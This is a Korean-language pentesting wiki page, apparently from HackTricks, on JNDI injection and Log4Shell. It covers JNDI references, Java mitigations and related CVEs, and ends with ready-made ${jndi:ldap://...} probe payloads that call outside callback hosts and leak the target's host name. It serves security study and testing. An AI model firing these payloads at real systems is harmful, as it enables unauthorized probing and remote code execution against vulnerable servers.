JNDI - Java Naming and Directory Interface & Log4Shell

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

JNDI๋Š” 1990๋…„๋Œ€ ํ›„๋ฐ˜๋ถ€ํ„ฐ Java์— ํ†ตํ•ฉ๋˜์–ด ๋ฐ์ดํ„ฐ๋‚˜ ๊ฐ์ฒด๋ฅผ ์ด๋ฆ„ ์ฒด๊ณ„๋ฅผ ํ†ตํ•ด ์ฐพ์„ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค ์ œ๊ณต์ž ์ธํ„ฐํŽ˜์ด์Šค(SPIs)๋ฅผ ํ†ตํ•ด ๋‹ค์–‘ํ•œ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค๋ฅผ ์ง€์›ํ•˜๋ฉฐ, ์›๊ฒฉ Java ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ์‹œ์Šคํ…œ์—์„œ ๋ฐ์ดํ„ฐ ๊ฒ€์ƒ‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ SPI๋กœ๋Š” CORBA COS, Java RMI Registry, LDAP์ด ์žˆ์Šต๋‹ˆ๋‹ค.

JNDI ์ด๋ฆ„ ์ฐธ์กฐ

Java ๊ฐ์ฒด๋Š” JNDI ์ด๋ฆ„ ์ฐธ์กฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ €์žฅํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‘ ๊ฐ€์ง€ ํ˜•ํƒœ๋กœ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค:

  • ์ฐธ์กฐ ์ฃผ์†Œ: ๊ฐ์ฒด์˜ ์œ„์น˜๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: rmi://server/ref), ์ง€์ •๋œ ์ฃผ์†Œ์—์„œ ์ง์ ‘ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์›๊ฒฉ ํŒฉํ† ๋ฆฌ: ์›๊ฒฉ ํŒฉํ† ๋ฆฌ ํด๋ž˜์Šค๋ฅผ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ์ ‘๊ทผ ์‹œ, ํ•ด๋‹น ํด๋ž˜์Šค๊ฐ€ ์›๊ฒฉ ์œ„์น˜์—์„œ ๋‹ค์šด๋กœ๋“œ๋˜๊ณ  ์ธ์Šคํ„ด์Šคํ™”๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž„์˜์˜ ์ฝ”๋“œ๊ฐ€ ๋กœ๋“œ๋˜๊ณ  ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์— ๋Œ€ํ•œ ๋Œ€์‘์ฑ…์œผ๋กœ:

  • RMI: JDK 7u21๋ถ€ํ„ฐ ๊ธฐ๋ณธ์ ์œผ๋กœ java.rmi.server.useCodebaseOnly = true๋กœ ์„ค์ •๋˜์–ด ์›๊ฒฉ ๊ฐ์ฒด ๋กœ๋“œ๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ๊ด€๋ฆฌ์ž๊ฐ€ ์ถ”๊ฐ€๋กœ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋‚ด์šฉ์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
  • LDAP: JDK 6u141, 7u131, 8u121๋ถ€ํ„ฐ ๊ธฐ๋ณธ์ ์œผ๋กœ com.sun.jndi.ldap.object.trustURLCodebase = false๋กœ ์„ค์ •๋˜์–ด ์›๊ฒฉ์œผ๋กœ ๋กœ๋“œ๋œ Java ๊ฐ์ฒด์˜ ์‹คํ–‰์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. true๋กœ ์„ค์ •ํ•˜๋ฉด ๋ณด์•ˆ ๊ด€๋ฆฌ์ž์˜ ๊ฐ๋… ์—†์ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • CORBA: ํŠน์ • ์†์„ฑ์ด ์—†์ง€๋งŒ ๋ณด์•ˆ ๊ด€๋ฆฌ์ž๋Š” ํ•ญ์ƒ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ JNDI ๋งํฌ๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ์—ญํ• ์„ ํ•˜๋Š” ์ด๋ฆ„ ๊ด€๋ฆฌ์ž๋Š” ๋‚ด์žฅ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ๋ถ€์กฑํ•˜์—ฌ ๋ชจ๋“  ์ถœ์ฒ˜์—์„œ ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋Š” ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” RMI, LDAP ๋ฐ CORBA ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์–ด ์ž„์˜์˜ Java ๊ฐ์ฒด๋ฅผ ๋กœ๋“œํ•˜๊ฑฐ๋‚˜ ๊ธฐ์กด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ตฌ์„ฑ ์š”์†Œ(๊ฐ€์ ฏ)๋ฅผ ์•…์šฉํ•˜์—ฌ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•…์šฉ ๊ฐ€๋Šฅํ•œ URL์˜ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

๋ณดํ˜ธ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , JNDI๋ฅผ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ถœ์ฒ˜์—์„œ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์— ๋Œ€ํ•œ ๋ณดํ˜ธ ์žฅ์น˜๊ฐ€ ๋ถ€์กฑํ•˜๊ณ  ๊ธฐ์กด ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ ๋•Œ๋ฌธ์— ์ทจ์•ฝ์ ์ด ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค.

JNDI ์˜ˆ์‹œ

**PROVIDER_URL**์„ ์„ค์ •ํ–ˆ๋”๋ผ๋„, ์กฐํšŒ ์‹œ ๋‹ค๋ฅธ URL์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ctx.lookup("<attacker-controlled-url>") ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ์‹œ์Šคํ…œ์—์„œ ์ž„์˜์˜ ๊ฐ์ฒด๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์•…์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

CORBA ๊ฐœ์š”

CORBA(๊ณตํ†ต ๊ฐ์ฒด ์š”์ฒญ ๋ธŒ๋กœ์ปค ์•„ํ‚คํ…์ฒ˜)๋Š” ์›๊ฒฉ ๊ฐ์ฒด๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด **์ƒํ˜ธ ์šด์šฉ ๊ฐ€๋Šฅํ•œ ๊ฐ์ฒด ์ฐธ์กฐ(IOR)**๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฐธ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•„์ˆ˜ ์ •๋ณด๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • ํƒ€์ž… ID: ์ธํ„ฐํŽ˜์ด์Šค์˜ ๊ณ ์œ  ์‹๋ณ„์ž.
  • ์ฝ”๋“œ๋ฒ ์ด์Šค: ์Šคํ… ํด๋ž˜์Šค๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ URL.

ํŠนํžˆ, CORBA๋Š” ๋ณธ์งˆ์ ์œผ๋กœ ์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ณด์•ˆ์„ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • ๋ณด์•ˆ ๊ด€๋ฆฌ์ž ์„ค์น˜.
  • ๋ณด์•ˆ ๊ด€๋ฆฌ์ž๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ ์ฝ”๋“œ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ์„ ํ†ตํ•ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • ์†Œ์ผ“ ๊ถŒํ•œ, ์˜ˆ: permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • ํŒŒ์ผ ์ฝ๊ธฐ ๊ถŒํ•œ, ์ „์—ญ์ ์œผ๋กœ(permission java.io.FilePermission "<<ALL FILES>>", "read";) ๋˜๋Š” ์•…์„ฑ ํŒŒ์ผ์ด ๋ฐฐ์น˜๋  ์ˆ˜ ์žˆ๋Š” ํŠน์ • ๋””๋ ‰ํ† ๋ฆฌ์— ๋Œ€ํ•ด.

๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ถ€ ๊ณต๊ธ‰์—…์ฒด ์ •์ฑ…์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด๋Ÿฌํ•œ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RMI ์ปจํ…์ŠคํŠธ

RMI(์›๊ฒฉ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ)์˜ ๊ฒฝ์šฐ ์ƒํ™ฉ์ด ๋‹ค์†Œ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. CORBA์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ž„์˜์˜ ํด๋ž˜์Šค ๋‹ค์šด๋กœ๋“œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. RMI๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ๋ณด์•ˆ ๊ด€๋ฆฌ์ž๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” CORBA์—์„œ๋„ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

LDAP

์šฐ์„ , ๊ฒ€์ƒ‰๊ณผ ์กฐํšŒ๋ฅผ ๊ตฌ๋ถ„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๊ฒ€์ƒ‰์€ ldap://localhost:389/o=JNDITutorial๊ณผ ๊ฐ™์€ URL์„ ์‚ฌ์šฉํ•˜์—ฌ LDAP ์„œ๋ฒ„์—์„œ JNDITutorial ๊ฐ์ฒด๋ฅผ ์ฐพ๊ณ  ์†์„ฑ์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.
์กฐํšŒ๋Š” ์ด๋ฆ„ ์„œ๋น„์Šค๋ฅผ ์œ„ํ•œ ๊ฒƒ์œผ๋กœ, ์ด๋ฆ„์— ๋ฐ”์ธ๋”ฉ๋œ ๋ชจ๋“  ๊ฒƒ์„ ์–ป๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

LDAP ๊ฒ€์ƒ‰์ด **SearchControls.setReturningObjFlag()**์™€ ํ•จ๊ป˜ true๋กœ ํ˜ธ์ถœ๋˜๋ฉด, ๋ฐ˜ํ™˜๋œ ๊ฐ์ฒด๋Š” ์žฌ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ ์˜ต์…˜์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž๋Š” LDAP ๋ ˆ์ฝ”๋“œ๋ฅผ ์˜ค์—ผ์‹œ์ผœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” LDAP ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์ˆ˜์‹ญ ๋Œ€์˜ ๋จธ์‹ ์„ ์†์ƒ์‹œํ‚ค๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ LDAP ๊ฒ€์ƒ‰์—์„œ MitM ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด JNDI LDAP URL์„ ํ•ด๊ฒฐํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ฒ€์ƒ‰ํ•  LDAP๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋กœ๊ทธ4์‰˜).

์—ญ์ง๋ ฌํ™” ์ต์Šคํ”Œ๋กœ์ž‡

์ต์Šคํ”Œ๋กœ์ž‡์€ ์ง๋ ฌํ™”๋˜์–ด ์—ญ์ง๋ ฌํ™”๋ฉ๋‹ˆ๋‹ค.
trustURLCodebase๊ฐ€ true์ธ ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ฝ”๋“œ๋ฒ ์ด์Šค์— ์ž์‹ ์˜ ํด๋ž˜์Šค๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ํด๋ž˜์Šค ๊ฒฝ๋กœ์—์„œ ๊ฐ€์ ฏ์„ ์•…์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

JNDI ์ฐธ์กฐ ์ต์Šคํ”Œ๋กœ์ž‡

JavaFactory ์ฐธ์กฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด LDAP๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์ด ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค:

Log4Shell ์ทจ์•ฝ์ 

์ด ์ทจ์•ฝ์ ์€ Log4j์—์„œ ํŠน์ˆ˜ ๊ตฌ๋ฌธ์„ ์ง€์›ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ตฌ๋ฌธ์€ ${prefix:name} ํ˜•์‹์ด๋ฉฐ, ์—ฌ๊ธฐ์„œ prefix๋Š” ์—ฌ๋Ÿฌ ๋‹ค๋ฅธ ์กฐํšŒ ์ค‘ ํ•˜๋‚˜์ด๊ณ  name์€ ํ‰๊ฐ€๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ${java:version}์€ ํ˜„์žฌ ์‹คํ–‰ ์ค‘์ธ Java ๋ฒ„์ „์ž…๋‹ˆ๋‹ค.

LOG4J2-313์€ jndi ์กฐํšŒ ๊ธฐ๋Šฅ์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ JNDI๋ฅผ ํ†ตํ•ด ๋ณ€์ˆ˜๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ํ‚ค๋Š” ์ž๋™์œผ๋กœ java:comp/env/๋กœ ์ ‘๋‘์‚ฌ๊ฐ€ ๋ถ™์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ‚ค ์ž์ฒด์— **โ€œ:โ€**๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ์šฐ, ์ด ๊ธฐ๋ณธ ์ ‘๋‘์‚ฌ๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ‚ค์— :๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ${jndi:ldap://example.com/a}์™€ ๊ฐ™์ด ์ ‘๋‘์‚ฌ๊ฐ€ ์—†๊ณ  LDAP ์„œ๋ฒ„์— ๊ฐ์ฒด๊ฐ€ ์ฟผ๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์กฐํšŒ๋Š” Log4j์˜ ๊ตฌ์„ฑ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋กœ๊ทธ๊ฐ€ ๊ธฐ๋ก๋  ๋•Œ์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๊ฒƒ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ์ทจ์•ฝํ•œ ๋ฒ„์ „์˜ Log4j์ž…๋‹ˆ๋‹ค. ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ •๋ณด๋ฅผ ๊ธฐ๋กํ•˜๋Š” ๋ฐ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์—(์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํฌํ•จ) HTTP ํ—ค๋”์™€ ๊ฐ™์€ ์ •๋ณด๋ฅผ ๊ธฐ๋กํ•˜๋Š” log4j๊ฐ€ ์ผ๋ฐ˜์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ log4j๋Š” HTTP ์ •๋ณด๋งŒ ๊ธฐ๋กํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ๊ฐœ๋ฐœ์ž๊ฐ€ ์ง€์ •ํ•œ ๋ชจ๋“  ์ž…๋ ฅ๊ณผ ๋ฐ์ดํ„ฐ๋„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

Log4Shell ๊ด€๋ จ CVE ๊ฐœ์š”

CVE-2021-44228 [Critical]

์ด ์ทจ์•ฝ์ ์€ log4j-core ๊ตฌ์„ฑ ์š”์†Œ์˜ ์‹ฌ๊ฐํ•œ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์—ญ์ง๋ ฌํ™” ๊ฒฐํ•จ์œผ๋กœ, 2.0-beta9์—์„œ 2.14.1๊นŒ์ง€์˜ ๋ฒ„์ „์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ์ด๋Š” **์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)**์„ ํ—ˆ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์‹œ์Šคํ…œ์„ ์žฅ์•…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” Alibaba Cloud Security Team์˜ Chen Zhaojun์— ์˜ํ•ด ๋ณด๊ณ ๋˜์—ˆ์œผ๋ฉฐ, ๋‹ค์–‘ํ•œ Apache ํ”„๋ ˆ์ž„์›Œํฌ์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. 2.15.0 ๋ฒ„์ „์˜ ์ดˆ๊ธฐ ์ˆ˜์ •์€ ๋ถˆ์™„์ „ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ฐฉ์–ด๋ฅผ ์œ„ํ•œ Sigma ๊ทœ์น™์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค (Rule 1, Rule 2).

CVE-2021-45046 [Critical]

์ฒ˜์Œ์—๋Š” ๋‚ฎ์€ ๋“ฑ๊ธ‰์œผ๋กœ ํ‰๊ฐ€๋˜์—ˆ์œผ๋‚˜ ๋‚˜์ค‘์— ์‹ฌ๊ฐํ•œ ๋“ฑ๊ธ‰์œผ๋กœ ์ƒ์Šนํ•œ ์ด CVE๋Š” CVE-2021-44228์— ๋Œ€ํ•œ 2.15.0์˜ ๋ถˆ์™„์ „ํ•œ ์ˆ˜์ •์œผ๋กœ ์ธํ•œ ์„œ๋น„์Šค ๊ฑฐ๋ถ€(DoS) ๊ฒฐํ•จ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋น„๊ธฐ๋ณธ ๊ตฌ์„ฑ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ†ตํ•ด DoS ๊ณต๊ฒฉ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠธ์œ—์—์„œ ์šฐํšŒ ๋ฐฉ๋ฒ•์ด ์†Œ๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” 2.16.0 ๋ฐ 2.12.2 ๋ฒ„์ „์—์„œ ๋ฉ”์‹œ์ง€ ์กฐํšŒ ํŒจํ„ด์„ ์ œ๊ฑฐํ•˜๊ณ  ๊ธฐ๋ณธ์ ์œผ๋กœ JNDI๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

CVE-2021-4104 [High]

Log4j 1.x ๋ฒ„์ „์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์ด CVE๋Š” ๋น„๊ธฐ๋ณธ ๊ตฌ์„ฑ์—์„œ JMSAppender๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์—ญ์ง๋ ฌํ™” ๊ฒฐํ•จ์ž…๋‹ˆ๋‹ค. 1.x ๋ธŒ๋žœ์น˜์— ๋Œ€ํ•œ ์ˆ˜์ •์€ ์ œ๊ณต๋˜์ง€ ์•Š์œผ๋ฉฐ, log4j-core 2.17.0์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

CVE-2021-42550 [Moderate]

์ด ์ทจ์•ฝ์ ์€ Log4j 1.x์˜ ํ›„์†์ธ Logback ๋กœ๊น… ํ”„๋ ˆ์ž„์›Œํฌ์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ์ด์ „์—๋Š” ์•ˆ์ „ํ•˜๋‹ค๊ณ  ์—ฌ๊ฒจ์กŒ์œผ๋‚˜, ์ด ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์ทจ์•ฝํ•œ ๊ฒƒ์œผ๋กœ ๋ฐํ˜€์กŒ์œผ๋ฉฐ, ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ์ƒˆ๋กœ์šด ๋ฒ„์ „(1.3.0-alpha11 ๋ฐ 1.2.9)์ด ์ถœ์‹œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

CVE-2021-45105 [High]

Log4j 2.16.0์—๋Š” DoS ๊ฒฐํ•จ์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, CVE๋ฅผ ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•ด log4j 2.17.0์ด ์ถœ์‹œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์„ธ๋ถ€ ์‚ฌํ•ญ์€ BleepingComputer์˜ ๋ณด๊ณ ์„œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2021-44832

log4j ๋ฒ„์ „ 2.17์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์ด CVE๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ log4j์˜ ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ œ์–ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ตฌ์„ฑ๋œ JDBCAppender๋ฅผ ํ†ตํ•ด ์ž ์žฌ์ ์ธ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์„ธ๋ถ€ ์‚ฌํ•ญ์€ Checkmarx ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Log4Shell ์•…์šฉ

๋ฐœ๊ฒฌ

์ด ์ทจ์•ฝ์ ์€ ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ๋งค์šฐ ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ์— ์ง€์ •ํ•œ ์ฃผ์†Œ๋กœ ์ตœ์†Œํ•œ DNS ์š”์ฒญ์„ ๋ณด๋‚ผ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (using huntress)

